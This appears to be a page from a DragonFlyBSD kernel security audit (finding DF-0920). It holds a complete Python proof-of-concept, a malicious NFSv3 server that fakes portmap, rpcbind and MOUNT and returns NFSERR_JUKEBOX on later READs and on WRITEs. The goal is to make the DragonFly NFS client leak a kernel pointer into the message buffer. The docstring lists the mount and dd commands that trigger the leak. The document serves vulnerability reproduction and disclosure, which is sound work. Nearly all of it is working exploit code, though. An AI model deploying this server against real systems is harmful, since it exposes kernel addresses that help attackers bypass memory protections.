DragonFlyBSD Kernel Audit
DF-0920 / bad_nfs_server_v3.py
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
#!/usr/bin/env python3
"""
bad_nfs_server_v3.py - DF-0920 reproduction malicious NFSv3 server (v3).

Self-contained: implements
  - portmap v2 (GETPORT) on UDP+TCP/111,
  - rpcbind v3/v4 (GETADDR, NULL, DUMP) on UDP+TCP/111,
  - MOUNT v1/v3 (NULL, MNT) and NFS v3 (NULL, GETATTR, LOOKUP, READ, FSSTAT)
    on TCP/2049,
returning NFSERR_JUKEBOX (== NFSERR_TRYLATER, value 10028) on every READ reply.

Drives the DragonFly client's nfs_request_processreply() into the EAGAIN
branch (nfs_socket.c:1525) which propagates back to nfssvc_iod_reader() as
info->error == EINPROGRESS, which then unconditionally kprintf()s the info
pointer to the kernel msgbuf at nfs_iod.c:135.

Run as root in the DragonFly guest:

    python3 bad_nfs_server_v3.py

Then mount from the same host:

    mount_nfs -T -3 -o port=2049 127.0.0.1:/export /mnt
    dd if=/mnt/anyfile of=/dev/null bs=8192
    dmesg | grep "rxq: move info"
"""
import socket
import struct
import threading
import sys
import time

NFS_PORT     = 2049
RPCBIND_PORT = 111

RPCBIND_PROG = 100000
MOUNT_PROG   = 100005
NFS_PROG     = 100003

# rpcbind procedure numbers
PMAP2_NULL    = 0
PMAP2_SET     = 1
PMAP2_UNSET   = 2
PMAP2_GETPORT = 3
PMAP2_DUMP    = 4

RPCB3_NULL    = 0
RPCB3_SET     = 1
RPCB3_UNSET   = 2
RPCB3_GETADDR = 3
RPCB3_DUMP    = 4

NFS3_NULL     = 0
NFS3_GETATTR  = 1
NFS3_SETATTR  = 2
NFS3_LOOKUP   = 3
NFS3_ACCESS   = 4
NFS3_READLINK = 5
NFS3_READ     = 6
NFS3_WRITE    = 7
NFS3_CREATE   = 8
NFS3_MKDIR    = 9
NFS3_SYMLINK  = 10
NFS3_REMOVE   = 12
NFS3_READDIR     = 16
NFS3_READDIRPLUS = 17
NFS3_FSSTAT      = 18
NFS3_FSINFO      = 19
NFS3_PATHCONF    = 20
NFS3_COMMIT      = 21

NF3REG  = 1
NF3DIR  = 2

def fattr3(ftype=NF3REG, mode=0o644, nlink=1, uid=0, gid=0,
           size=4096, used=8192, fsid=1, fileid=2):
    """Build an fattr3 (84 bytes), RFC 1813."""
    nfstime = struct.pack(">II", 0x60000000, 0)  # seconds + nseconds
    return (struct.pack(">IIIII", ftype, mode, nlink, uid, gid) +
            struct.pack(">QQ", size, used) +      # size, used (u64)
            struct.pack(">II", 0, 0) +            # rdev (major, minor)
            struct.pack(">Q", fsid) +
            struct.pack(">Q", fileid) +
            nfstime + nfstime + nfstime)          # atime, mtime, ctime

def post_op_attr(present=True, **kw):
    """post_op_attr: uint32 presence + fattr3 if present."""
    if present:
        return struct.pack(">I", 1) + fattr3(**kw)
    return struct.pack(">I", 0)

def wcc_data(pre_present=False, post_present=True, **kw):
    """wcc_data: pre_op_attr (uint32 + 6 uint32 if present) + post_op_attr.
    The 6 uint32 are: size_hi, size_lo, mtime_sec, mtime_nsec, ctime_sec, ctime_nsec.
    """
    pre = struct.pack(">I", 1 if pre_present else 0)
    if pre_present:
        pre += struct.pack(">IIIIII", 0, 0, 0, 0, 0, 0)  # size + mtime + ctime
    return pre + post_op_attr(post_present, **kw)

MNT_NULL   = 0
MNT_MNT    = 1

# A pseudo filehandle big enough that the client will accept it.
NFS3_FH     = b"\x01" * 64   # root directory fh (returned by MOUNT)
NFS3_FH_FILE = b"\x02" * 64  # file fh (returned by LOOKUP for "anyfile")

DEBUG = False
def LOG(msg):
    if DEBUG:
        sys.stderr.write(msg + "\n")
        sys.stderr.flush()

def rpc_record_frag(buf: bytes, last: bool = True) -> bytes:
    marker = len(buf) | (0x80000000 if last else 0)
    return struct.pack(">I", marker) + buf

def xdr_string(s: bytes) -> bytes:
    if isinstance(s, str):
        s = s.encode()
    pad = (4 - (len(s) % 4)) % 4
    return struct.pack(">I", len(s)) + s + (b"\x00" * pad)

def xdr_u(v): return struct.pack(">I", v)

def rpc_reply_accepted(xid: int, accept_state: int = 0,
                       reply_data: bytes = b"") -> bytes:
    body = struct.pack(">II", xid, 1)              # xid, type=REPLY
    body += struct.pack(">I", 0)                    # reply_state = MSG_ACCEPTED
    body += struct.pack(">II", 0, 0)               # verifier: flavor=AUTH_NULL, len=0
    body += struct.pack(">I", accept_state)         # accept_state=SUCCESS
    body += reply_data
    return body

def rpc_reply_denied(xid: int, reject_state: int = 0) -> bytes:
    body = struct.pack(">II", xid, 1)              # xid, type=REPLY
    body += struct.pack(">I", 1)                    # reply_state=DENIED
    body += struct.pack(">I", reject_state)
    return body

def nfs_status(code: int) -> bytes:
    return struct.pack(">I", code)

def universal_addr(port: int) -> str:
    # IPv4 universal address format: "127.0.0.1.p1.p2"
    p1 = (port >> 8) & 0xff
    p2 = port & 0xff
    return f"127.0.0.1.{p1}.{p2}"

def handle_rpc_call(body: bytes, proto: str):
    """Returns reply body bytes (no record marker), or None to ignore."""
    if len(body) < 24:
        return None
    xid, mtype = struct.unpack(">II", body[0:8])
    if mtype != 0:                                   # 0 = CALL
        return None
    rpc_vers, prog, vers, proc = struct.unpack(">IIII", body[8:24])

    LOG(f"[rpc] {proto} prog={prog} vers={vers} proc={proc} xid={xid:#x} len={len(body)}")

    # rpcbind / portmap
    if prog == RPCBIND_PROG:
        # portmap v2
        if vers == 2:
            if proc == PMAP2_NULL:
                return rpc_reply_accepted(xid, 0)
            if proc == PMAP2_GETPORT:
                # args: prog(4) vers(4) proto(4) port(4)
                if len(body) >= 24 + 16:
                    qprog, qvers, qproto = struct.unpack(">III", body[24:36])
                    LOG(f"  GETPORT prog={qprog} vers={qvers} proto={qproto}")
                return rpc_reply_accepted(xid, 0, struct.pack(">I", NFS_PORT))
            if proc == PMAP2_DUMP:
                return rpc_reply_accepted(xid, 0, struct.pack(">I", 0))  # empty list
            return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL
        # rpcbind v3 / v4
        if vers in (3, 4):
            if proc == RPCB3_NULL:
                return rpc_reply_accepted(xid, 0)
            if proc == RPCB3_GETADDR:
                # args: rpcb { prog, vers, netid(string), owner(string) }  (v3+)
                # for v4 there are also addr+owner strings.
                # We don't need to parse; just return the universal addr.
                addr = universal_addr(NFS_PORT)
                LOG(f"  GETADDR -> {addr}")
                return rpc_reply_accepted(xid, 0, xdr_string(addr))
            if proc == RPCB3_DUMP:
                return rpc_reply_accepted(xid, 0, struct.pack(">I", 0))  # empty list
            return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL
        return rpc_reply_accepted(xid, 2, struct.pack(">II", 2, 4))  # MISMATCH vers 2..4

    # NFS v3
    if prog == NFS_PROG and vers == 3:
        if proc == NFS3_NULL:
            return rpc_reply_accepted(xid, 0)
        if proc == NFS3_GETATTR:
            # GETATTR reply: status + obj_attributes
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) + post_op_attr(True, ftype=NF3DIR, mode=0o755))
        if proc == NFS3_LOOKUP:
            # LOOKUP3resok (DragonFly): fh + post_op_attr(obj) + post_op_attr(dir)
            # NOTE: DragonFly deviates from RFC 1813 by sending dir_wcc as a plain
            # post_op_attr (no pre_op_attr), matching the server's nfsrv_lookup().
            # Use a large size to enable readahead.
            fh = NFS3_FH_FILE
            fh_field = struct.pack(">I", len(fh)) + fh
            pad = (4 - (len(fh) % 4)) % 4
            fh_field += b"\x00" * pad
            reply = nfs_status(0) + fh_field + \
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024) + \
                    post_op_attr(True, ftype=NF3DIR, mode=0o755)
            LOG(f"  LOOKUP -> fh({len(fh)}) ok")
            return rpc_reply_accepted(xid, 0, reply)
        if proc == NFS3_ACCESS:
            # ACCESS reply: status + obj_attributes + access
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) + post_op_attr(True, ftype=NF3REG, mode=0o644) +
                struct.pack(">I", 0x3f))  # all access bits
        if proc == NFS3_FSSTAT:
            # FSSTAT3resok: post_op_attr + size3 tfiles + size3 ffiles +
            # size3 afiles + uint32 invarsec.  Just send zeros.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                struct.pack(">QQQI", 0, 0, 0, 0))
        if proc == NFS3_READDIR or proc == NFS3_READDIRPLUS:
            # READDIR3resok: post_op_attr + cookieverf(8) + entry*(bool+entry)
            # + eof(bool).  Empty list: bool(0) + eof(1).
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                b"\x00" * 8 +                    # cookieverf
                struct.pack(">I", 0) +            # bool = false (no entries)
                struct.pack(">I", 1))             # eof = true
        if proc == NFS3_FSINFO:
            # FSINFO3resok: post_op_attr + 7 uint32 + uint64 + nfstime3 + uint32
            # rtmax,rtpref,rtmult,wtmax,wtpref,wtmult,dtpref,maxfilesize,timedelta,properties
            # Use 65536 for rtmax/rtpref so biosize = 65536 = MAXBSIZE,
            # which makes seqcount >= 1 from the first sequential read.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                struct.pack(">IIIIIII", 65536, 65536, 65536, 65536, 65536, 65536, 65536) +
                struct.pack(">Q", 0x7fffffffffffffff) +    # maxfilesize (uint64)
                struct.pack(">II", 1, 0) +                 # timedelta sec=1 nsec=0
                struct.pack(">I", 0x1ff))                   # properties
        if proc == NFS3_PATHCONF:
            return rpc_reply_accepted(xid, 0, nfs_status(10028))
        if proc == NFS3_SETATTR:
            # SETATTR3resok: status + wcc_data (pre_op_attr + post_op_attr).
            # Client parses with nfsm_wcc_data: 1 uint32 (pre present) +
            # if present: 6 uint32 (size+mtime+ctime) + post_op_attr.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                wcc_data(False, True, ftype=NF3REG, mode=0o644, size=1024*1024))
        if proc == NFS3_WRITE:
            # WRITE3resfail: status + wcc_data (pre_op_attr + post_op_attr).
            # NFSERR_JUKEBOX -> EAGAIN -> EINPROGRESS -> kprintf leak.
            return rpc_reply_accepted(xid, 0,
                nfs_status(10028) +
                wcc_data(False, True, ftype=NF3REG, mode=0o644, size=1024*1024))
        if proc == NFS3_READ:
            # Parse READ3args: fh(opaque) + offset(uint64) + count(uint32).
            # The body layout is:
            #   body[0:8]    = xid + mtype
            #   body[8:24]   = rpcvers + prog + vers + proc
            #   body[24:28]  = cred flavor
            #   body[28:32]  = cred length (C)
            #   body[32:32+C+pad] = cred body
            #   then verif flavor(4) + verif length(V) + body
            #   then args: fh length(F) + F bytes + pad + offset(8) + count(4)
            try:
                cred_len = struct.unpack(">I", body[28:32])[0]
                cred_pad = (4 - (cred_len % 4)) % 4
                p = 32 + cred_len + cred_pad
                verif_len = struct.unpack(">I", body[p+4:p+8])[0]
                verif_pad = (4 - (verif_len % 4)) % 4
                p = p + 8 + verif_len + verif_pad
                fhlen = struct.unpack(">I", body[p:p+4])[0]
                fh_pad = (4 - (fhlen % 4)) % 4
                p = p + 4 + fhlen + fh_pad
                offset = struct.unpack(">Q", body[p:p+8])[0]
                count = struct.unpack(">I", body[p+8:p+12])[0]
                LOG(f"  READ off={offset} count={count}")
            except Exception as e:
                LOG(f"  READ parse fail: {e}")
                offset = 0
                count = 0

            # For the first few blocks: return success with zero-filled data
            # so the buffer cache populates and the kernel keeps reading.
            # For later blocks: return NFSERR_JUKEBOX -> EAGAIN -> EINPROGRESS
            # -> the iod reader thread hits the kprintf at nfs_iod.c:135.
            if offset < 131072:  # first 4 blocks of 32K each
                data = b"\x00" * min(count, 32768)
                # READ3resok: status + post_op_attr + count + eof + data
                return rpc_reply_accepted(xid, 0,
                    nfs_status(0) +
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024) +
                    struct.pack(">I", len(data)) +     # count
                    struct.pack(">I", 0) +             # eof=false
                    xdr_string(data))                   # data (length-prefixed)
            else:
                # JUKEBOX reply: status + post_op_attr
                return rpc_reply_accepted(xid, 0,
                    nfs_status(10028) +
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024))
        return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL

    # MOUNT v1 / v3
    if prog == MOUNT_PROG and vers in (1, 3):
        if proc == MNT_NULL:
            return rpc_reply_accepted(xid, 0)
        if proc == MNT_MNT:
            fh = NFS3_FH
            reply = nfs_status(0) + struct.pack(">I", len(fh)) + fh
            # round up fh to 4-byte boundary
            pad = (4 - (len(fh) % 4)) % 4
            reply += b"\x00" * pad
            # auth flavor list: count=1, flavor=AUTH_UNIX(1)
            reply += struct.pack(">II", 1, 1)
            LOG(f"  MNT -> fh({len(fh)})")
            return rpc_reply_accepted(xid, 0, reply)
        return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL

    LOG(f"  UNKNOWN prog={prog}")
    return rpc_reply_accepted(xid, 1)  # PROG_UNAVAIL

def stream_handler(conn, addr):
    buf = b""
    try:
        while True:
            chunk = conn.recv(8192)
            if not chunk:
                break
            buf += chunk
            while len(buf) >= 4:
                (marker,) = struct.unpack(">I", buf[:4])
                plen = marker & 0x7fffffff
                if len(buf) < 4 + plen:
                    break
                pdu = buf[4:4 + plen]
                buf = buf[4 + plen:]
                reply_body = handle_rpc_call(pdu, "tcp")
                if reply_body:
                    try:
                        conn.sendall(rpc_record_frag(reply_body))
                    except Exception as e:
                        LOG(f"[!] tcp send: {e}")
                        return
    except Exception as e:
        LOG(f"[!] stream_handler {addr}: {e}")
    finally:
        try: conn.close()
        except: pass

def dgram_loop(sock, label):
    while True:
        try:
            data, addr = sock.recvfrom(8192)
        except Exception as e:
            sys.stderr.write(f"[!] dgram_loop {label}: {e}\n")
            continue
        reply_body = handle_rpc_call(data, "udp")
        if reply_body:
            try: sock.sendto(reply_body, addr)
            except: pass

def serve_tcp(host, port, label):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((host, port))
    s.listen(8)
    sys.stderr.write(f"[*] {label} TCP listening on {host}:{port}\n")
    while True:
        try:
            conn, addr = s.accept()
        except Exception as e:
            sys.stderr.write(f"[!] {label} accept: {e}\n")
            continue
        t = threading.Thread(target=stream_handler, args=(conn, addr), daemon=True)
        t.start()

def serve_udp(host, port, label):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((host, port))
    sys.stderr.write(f"[*] {label} UDP listening on {host}:{port}\n")
    dgram_loop(s, label)

def main():
    threads = []
    for fn, host, port, label in (
        (serve_tcp, "127.0.0.1", RPCBIND_PORT, "rpcbind"),
        (serve_udp, "127.0.0.1", RPCBIND_PORT, "rpcbind"),
        (serve_tcp, "127.0.0.1", NFS_PORT,     "nfs/mount"),
    ):
        t = threading.Thread(target=fn, args=(host, port, label), daemon=True)
        t.start()
        threads.append(t)
    sys.stderr.write("[*] malicious NFSv3 server up; waiting for client\n")
    sys.stderr.flush()
    for t in threads:
        t.join()

if __name__ == "__main__":
    main()